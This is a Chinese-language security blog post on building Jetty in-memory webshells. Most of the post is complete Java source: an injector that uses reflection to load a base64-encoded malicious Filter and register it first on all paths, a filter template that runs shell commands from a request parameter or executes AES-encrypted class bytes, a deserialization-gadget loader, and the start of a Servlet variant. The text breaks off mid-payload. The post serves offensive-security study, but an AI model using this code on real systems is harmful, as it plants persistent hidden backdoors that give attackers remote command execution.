October 1, 2023

内存马系列 Jetty型内存马学习

参考文章:
https://github.com/feihong-cs/memShell/blob/master/src/main/java/com/memshell/generic/FilterTemplate.java
https://github.com/su18/MemoryShell/blob/main/memshell-test/memshell-test-jetty/src/org/su18/memshell/test/jetty/AddJettyFilter.java
https://github.com/BeichenDream/GodzillaMemoryShellProject/blob/main/JettyMemoryShell/src/AesBase64JettyFilterShell.java
https://xz.aliyun.com/t/12182#toc-4
环境搭建,依赖文件

1
2
3
4
5
6
7
8
<!-- https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-server -->
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-server</artifactId>
<version>9.4.30.v20200611</version>
<scope>provided</scope>
</dependency>

测试版本

Jetty 9.4.52最新版

Filter内存马

内存马构造

首先是注入部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
package com.boogipop.memshell;
import sun.misc.BASE64Decoder;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;


public class AddFilterShell extends HttpServlet {
private static Object servletHandler = null;
private static String filterName = "FilterTemplate";
private static String filterClassName = "com.boogipop.memshell.FilterTemplate";
private static String url = "/*";

private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("yv66vgAAADIBGwoAQwB7CQB8AH0IAH4KAH8AgAgAgQsAQACCCACDCgANAIQKAIUAhgoADQCHCQCIAIkIAIoHAIsIAIwIAI0IAF8IAI4HAI8KAJAAkQoAkACSCgCTAJQKABIAlQgAlgoAEgCXCgASAJgLAEEAmQoAmgCABwCbCgCFAJwLABwAnQsAHACeCACfCgCFAKALABwAoQgAogsAowCkCAClCgCmAKcHAKgHAKkKACgAewsAowCqCgAoAKsIAKwKACgArQoAKACuCgANAK8KACcAsAoApgCxBwCyCgAyAHsLAEAAswoAtAC1CgAyALYKAKYAtwcAuAoAQwC5CgA/ALoKADgAuwoAOAC8CgA/AL0IAL4HAL8HAMAHAMEKAD8AwgcAwwoAxADFBwDGCgBFAMcLAMgAyQcAygcAywEAAVUBAAxJbm5lckNsYXNzZXMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAJkxjb20vYm9vZ2lwb3AvbWVtc2hlbGwvRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcAzAEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQASTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEACmV2aWxPYmplY3QBABJMamF2YS9sYW5nL09iamVjdDsBAAx0YXJnZXRNZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEADVN0YWNrTWFwVGFibGUHAIsHAFwHAMYHAM0BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAE0ZpbHRlclRlbXBsYXRlLmphdmEMAEwATQcAzgwAzwDQAQAdWytdIER5bmFtaWMgRmlsdGVyIHNheXMgaGVsbG8HANEMANIA0wEABHR5cGUMANQA1QEABWJhc2ljDAC+ANYHANcMANgA2QwA2gDbBwDcDADdAF4BAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHAN4MAN8A4AwA4QDiBwDjDADkAOUMAEwA5gEAAlxBDADnAOgMAOkA2QwA6gDrBwDsAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwA7QDZDADtANUMAO4A2QEABFBPU1QMAO8A2QwA8ADxAQABdQcA8gwA8wD0AQADQUVTBwD1DAD2APcBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAPgA+QwA+gD7AQAADAD6APwMAP0A2QwA/gD/DABMAQAMAFMBAQEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAQIBAwcBBAwBBQDZDAEGAQcMAQgBCQEAJmNvbS9ib29naXBvcC9tZW1zaGVsbC9GaWx0ZXJUZW1wbGF0ZSRVDAEKAQsMAQwBDQwATAEODAEPARAMAREBEgEABmVxdWFscwEAD2phdmEvbGFuZy9DbGFzcwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQwBEwEUAQAQamF2YS9sYW5nL09iamVjdAcBFQwBFgEXAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBGABNBwEZDABZARoBACRjb20vYm9vZ2lwb3AvbWVtc2hlbGwvRmlsdGVyVGVtcGxhdGUBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAHGNvbS9ib29naXBvcC9tZW1zaGVsbC9Db25maWcBAAtnZXRQYXNzd29yZAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNFbXB0eQEAAygpWgEADGphdmEvaW8vRmlsZQEACXNlcGFyYXRvcgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEAFmdldEJlaGluZGVyU2hlbGxQd2RQd2QBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEADHNldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAMZ2V0QXR0cmlidXRlAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQBAKExjb20vYm9vZ2lwb3AvbWVtc2hlbGwvRmlsdGVyVGVtcGxhdGU7TGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEAAWcBABUoW0IpTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAQChMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYAIQBIAEMAAQBJAAAABAABAEwATQABAE4AAAAvAAEAAQAAAAUqtwABsQAAAAIATwAAAAYAAQAAAAwAUAAAAAwAAQAAAAUAUQBSAAAAAQBTAFQAAgBOAAAANQAAAAIAAAABsQAAAAIATwAAAAYAAQAAABAAUAAAABYAAgAAAAEAUQBSAAAAAAABAFUAVgABAFcAAAAEAAEAWAABAFkAWgACAE4AAALFAAcACgAAAYqyAAISA7YABCsSBbkABgIAxgCQKxIFuQAGAgASB7YACJkAgCu4AAm5AAYCADoEGQTGAG0ZBLYACpoAZQE6BbIACxIMtgAImQAbBr0ADVkDEg5TWQQSD1NZBRkEUzoFpwAYBr0ADVkDEhBTWQQSEVNZBRkEUzoFuwASWbgAExkFtgAUtgAVtwAWEhe2ABi2ABk6Biy5ABoBABkGtgAbpwDsK8AAHLgAHbkAHgIAxgDVK8AAHLkAHwEAEiC2AAiZALe4ACE6BCvAABy5ACIBABIjGQS5ACQDABIluAAmOgUZBQW7ACdZuwAoWbcAKSvAABy5ACIBABIjuQAqAgC2ACsSLLYALbYALrYALxIltwAwtgAxGQW7ADJZtwAzK7kANAEAtgA1tgA2tgA3Oga7ADhZKiq2ADm2ADq3ADsZBrYAPDoHGQe2AD06CBkHEj4FvQA/WQMSQFNZBBJBU7YAQjoJGQkZCAW9AENZAytTWQQsU7YARFenABU6BBkEtgBGpwALLSssuQBHAwCxAAEArwF0AXcARQADAE8AAABuABsAAAAUAAgAFgAjABgALgAZADsAGgA+ABsASQAcAGEAHgB2ACAAkgAhAJ0AIwCvACYAwAAnAMUAKADXACkA3gAqARIAKwEsACwBQgAtAUkALgFgAC8BdAAzAXcAMQF5ADIBfgAzAYEANQGJADcAUAAAAI4ADgA+AF8AWwBcAAUAkgALAF0AXgAGAC4AbwBfAF4ABADFAK8AYABeAAQA3gCWAGEAYgAFASwASABjAGQABgFCADIAZQBmAAcBSQArAGcAaAAIAWAAFABpAGoACQF5AAUAawBsAAQAAAGKAFEAUgAAAAABigBtAG4AAQAAAYoAbwBwAAIAAAGKAHEAcgADAHMAAAAZAAj9AGEHAHQHAHUU+QAmAvsA00IHAHYJBwBXAAAABgACAHcAWAABAHgATQABAE4AAAArAAAAAQAAAAGxAAAAAgBPAAAABgABAAAAPABQAAAADAABAAAAAQBRAFIAAAACAHkAAAACAHoASwAAAAoAAQA4AEgASgAA");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}

//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
Thread currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
Object _context = GetField(contextClassLoader,"_context");
servletHandler = GetField(_context,"_servletHandler");
}catch (Exception e){
e.printStackTrace();
}
}

private static synchronized void InjectFilter() throws Exception {
if(servletHandler != null){
//方法一
//Filter HFilter = (Filter) Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
//ArrayList filterPathMappings = (ArrayList) GetField(servletHandler,"_filterPathMappings");
//
//Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
//constructor2.setAccessible(true);
//Object filterHolder = constructor2.newInstance();
//
//Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
//setFilter.invoke(filterHolder,HFilter);
//
//Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
//setName.invoke(filterHolder,filterName);
//
//Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
//constructor.setAccessible(true);
//Object filterMapping = constructor.newInstance();
//
//Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
//setFilterName.invoke(filterMapping,filterName);
//
//Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
//setFilterHolder.setAccessible(true);
//setFilterHolder.invoke(filterMapping,filterHolder);
//
//String pathSpecs = url;
//
//Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
//setPathSpec.invoke(filterMapping,pathSpecs);
//
//filterPathMappings.add(filterMapping);
//System.out.println("123");


//方法二
Class HFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
Method addFilterWithMapping = GetMethod(servletHandler, "addFilterWithMapping", Class.class, String.class, Integer.TYPE);
addFilterWithMapping.invoke(servletHandler, HFilter, "/*", 1);

//使用addFilterWithMapping有个问题,动态添加FilterMapping时,其dispatches可能会与已加载到内存中的FilterMapping重复了,因此需要调整元素在_filterPathMappings中的位置
Object filterMaps = GetField(servletHandler, "_filterMappings");
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
int n = 1;
int j;

for(j = 0; j < Array.getLength(filterMaps); ++j) {
Object filter = Array.get(filterMaps, j);
String filterName = (String)GetField(filter, "_filterName");
if (filterName.contains(HFilter.getName())) {
tmpFilterMaps[0] = filter;
} else {
tmpFilterMaps[n] = filter;
++n;
}
}
for(j = 0; j < tmpFilterMaps.length; ++j) {
Array.set(filterMaps, j, tmpFilterMaps[j]);
}
}

}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}

private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();

while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}

if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
return method;
}
}


public AddFilterShell() {
try{
LoadFilter();
GetWebContent();
InjectFilter();
}catch (Exception e){
e.printStackTrace();
}

}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
new AddFilterShell();
}
}

其中有一个FilterTemplates也就是要注入的filter,其逻辑如下,可以自定义假如冰蝎和哥斯拉的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.boogipop.memshell;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class FilterTemplate implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[+] Dynamic Filter says hello");

if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){
//basic cmd shell
String cmd = servletRequest.getParameter(Config.getPassword());
if(cmd != null && !cmd.isEmpty()){
String[] cmds = null;
if(File.separator.equals("/")){
cmds = new String[]{"/bin/sh", "-c", cmd};
}else{
cmds = new String[]{"cmd", "/C", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
servletResponse.getWriter().println(result);
}
}else if(((HttpServletRequest)servletRequest).getHeader(Config.getHeader()) != null){
//behind3 shell
try{
if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){
String k = Config.getBehinderShellPwdPwd();
((HttpServletRequest)servletRequest).getSession().setAttribute("u",k);
Cipher cipher = Cipher.getInstance("AES");
cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES"));
byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
Object evilObject = evilClass.newInstance();
Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class});
targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse});
}
}catch(Exception e){
e.printStackTrace();
}
}else{
filterChain.doFilter(servletRequest, servletResponse);
}
}

@Override
public void destroy() {

}

class U extends ClassLoader{
U(ClassLoader c){super(c);}

public Class g(byte []b){return super.defineClass(b,0,b.length);}
}
}

假如是反序列化注入的话直接用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Decoder;

import javax.servlet.Filter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;


public class JettyFilterLoader extends AbstractTranslet {


private static Object servletHandler = null;
private static String filterName = "HFilter";
private static String filterClassName = "com.HFilter";
private static String url = "/*";


private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class|base64");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}

//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
Thread currentThread = Thread.currentThread();
Object contextClassLoader = GetField(currentThread, "contextClassLoader");
Object _context = GetField(contextClassLoader,"_context");
servletHandler = GetField(_context,"_servletHandler");
}catch (Exception e){
e.printStackTrace();
}
}

private static synchronized void InjectFilter() throws Exception {
if(servletHandler != null){
//方法一
Filter HFilter = (Filter) Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
ArrayList filterPathMappings = (ArrayList) GetField(servletHandler,"_filterPathMappings");

Constructor constructor2 = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder").getDeclaredConstructor();
constructor2.setAccessible(true);
Object filterHolder = constructor2.newInstance();

Method setFilter = filterHolder.getClass().getDeclaredMethod("setFilter",Filter.class);
setFilter.invoke(filterHolder,HFilter);

Method setName = filterHolder.getClass().getSuperclass().getDeclaredMethod("setName",String.class);
setName.invoke(filterHolder,filterName);

Constructor constructor = servletHandler.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterMapping").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterMapping = constructor.newInstance();

Method setFilterName = filterMapping.getClass().getDeclaredMethod("setFilterName",String.class);
setFilterName.invoke(filterMapping,filterName);

Method setFilterHolder = filterMapping.getClass().getDeclaredMethod("setFilterHolder",filterHolder.getClass());
setFilterHolder.setAccessible(true);
setFilterHolder.invoke(filterMapping,filterHolder);

String pathSpecs = url;

Method setPathSpec = filterMapping.getClass().getDeclaredMethod("setPathSpec",String.class);
setPathSpec.invoke(filterMapping,pathSpecs);

filterPathMappings.add(filterMapping);
System.out.println("123");

/*
//方法二
Class HFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
Method addFilterWithMapping = GetMethod(servletHandler, "addFilterWithMapping", Class.class, String.class, Integer.TYPE);
addFilterWithMapping.invoke(servletHandler, HFilter, "/*", 1);

//使用addFilterWithMapping有个问题,动态添加FilterMapping时,其dispatches可能会与已加载到内存中的FilterMapping重复了,因此需要调整元素在_filterPathMappings中的位置
Object filterMaps = GetField(servletHandler, "_filterMappings");
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
int n = 1;
int j;

for(j = 0; j < Array.getLength(filterMaps); ++j) {
Object filter = Array.get(filterMaps, j);
String filterName = (String)GetField(filter, "_filterName");
if (filterName.contains(HFilter.getName())) {
tmpFilterMaps[0] = filter;
} else {
tmpFilterMaps[n] = filter;
++n;
}
}
for(j = 0; j < tmpFilterMaps.length; ++j) {
Array.set(filterMaps, j, tmpFilterMaps[j]);
}*/
}

}

private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}

private static synchronized Method GetMethod(Object obj, String methodName, Class<?>... paramClazz) throws NoSuchMethodException {
Method method = null;
Class clazz = obj.getClass();

while(clazz != Object.class) {
try {
method = clazz.getDeclaredMethod(methodName, paramClazz);
break;
} catch (NoSuchMethodException var6) {
clazz = clazz.getSuperclass();
}
}

if (method == null) {
throw new NoSuchMethodException(methodName);
} else {
method.setAccessible(true);
return method;
}
}


static {
new JettyFilterLoader();
}

public JettyFilterLoader(){
try{
LoadFilter();
GetWebContent();
InjectFilter();
}catch (Exception e){
e.printStackTrace();
}
}


@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

这样加载恶意类即可。但是别忘了,我们要选择方法二注册恶意filter,具体原因会在流程分析中说到.

流程分析

首先有个正常的servlet,给个断点看看调用栈。
image.png
可以发现有个ServletHandler,我们跟进看看他方法
image.png
它这有2个方法,addServeltWithMapping和addFilterwithMapping。我们这里需要添加的是Filter。所以思路就是先获取ServletHandler然后再反射调用该方法。
image.png
该方法需要3个参数,恶意的filter,pathsec,dispatches,我们传入即可。
image.png
进来后先加载了恶意Filter到classloader类加载器里去。
然后获取了ServletHandler,这里用到的工具也是之前说过的java-search-object
image.png
最后就是注入Filter,也就是说的反射调用
image.png
在该方法内对_filters属性进行了修改
image.png
image.png
但是最后还需注意一个问题。
image.png
由于有一个内置的filter排在我们恶意添加的filter之前,因此我们需要手动排序一下,将恶意filter置于首位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for(j = 0; j < Array.getLength(filterMaps); ++j) {
Object filter = Array.get(filterMaps, j);
String filterName = (String)GetField(filter, "_filterName");
if (filterName.contains(HFilter.getName())) {
tmpFilterMaps[0] = filter;
} else {
tmpFilterMaps[n] = filter;
++n;
}
}
for(j = 0; j < tmpFilterMaps.length; ++j) {
Array.set(filterMaps, j, tmpFilterMaps[j]);
}
}

这样当我们访问webshell的时候先触发的是内存马的filter。
image.png
调用了this.getFilter()
image.png
返回了_filters
image.png
然后就是进入该filter的dofilter进行命令执行。
image.png

Servlet内存马

Servlet其实也是一样的。我们刚刚提到有一个addServletMapping方法。

内存马构造

这里就不进行调试直接给payload了,因为感觉都一模一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package com.boogipop.memshell;

import sun.misc.BASE64Decoder;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class AddServletShell extends HttpServlet {
private static Object servletHandler = null;
private static String filterName = "ServletTemplates";
private static String filterClassName = "com.boogipop.memshell.ServletTemplates";
private static String url = "/*";

private static synchronized void LoadServlet() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("yv66vgAAADIBFgoASAB2CQB3AHgIAHkKAHoAewgAfAsAfQB+CAB/CgANAIAKAIEAggoADQCDCQCEAIUIAIYHAIcIAIgIAIkIAFgIAIoHAIsKAIwAjQoAjACOCgCPAJAKABIAkQgAkgoAEgCTCgASAJQLAJUAlgoAlwB7CgCBAJgLAH0AmQsAfQCaCACbCgCBAJwLAH0AnQgAngsAnwCgCAChCgCiAKMHAKQHAKUKACcAdgsAnwCmCgAnAKcIAKgKACcAqQoAJwCqCgANAKsKACYArAoAogCtBwCuCgAxAHYLAH0ArwoAsACxCgAxALIKAKIAswcAtAoAQgC1CgA+ALYKADcAtwoANwC4CgA+ALkIALoHALsHALwHAL0KAD4AvgcAvwoAwADBBwDCCgBEAMMKAEcAxAcAxQcAxgEAAVUBAAxJbm5lckNsYXNzZXMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExjb20vYm9vZ2lwb3AvbWVtc2hlbGwvU2VydmxldFRlbXBsYXRlczsBAAZkb1Bvc3QBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBAAFrAQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAOZXZpbENsYXNzQnl0ZXMBAAJbQgEACWV2